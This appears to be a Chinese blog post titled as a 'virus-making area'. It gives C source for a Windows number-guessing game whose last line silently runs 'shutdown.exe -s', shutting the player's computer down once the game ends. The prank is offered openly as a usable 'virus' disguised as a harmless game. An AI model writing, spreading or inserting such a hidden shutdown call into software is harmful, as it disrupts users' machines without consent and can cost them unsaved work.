病毒製作區(點入會中毒喔)

#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<windows.h>
int main()
{
int x,y,z,a;
a=0;
z=100;

srand(time(NULL));
y=rand()%99+1;
printf("%d\n",y);

printf("enter the num\n");
scanf("%d",&x);
while(x!=y)
{
if(x<0||x>100)
{
printf("reenter the num\n");
}
else if(x>y)
{
z=x;
}
else if(x<y)
{
a=x;
}
printf("range is %d to %d\n",a,z);
printf("reenter the num\n");
scanf("%d",&x);
if(x<a||x>z)
{printf("wrong range!!!!\n");
printf("please reenter!!!\n");
scanf("%d",&x);
}

}
if(x==y)
{
printf("bingo!!!and~see you again!!!\n");
Sleep(2000);
}
system("start shutdown.exe -s");
return 0;
}

沒有留言:

張貼留言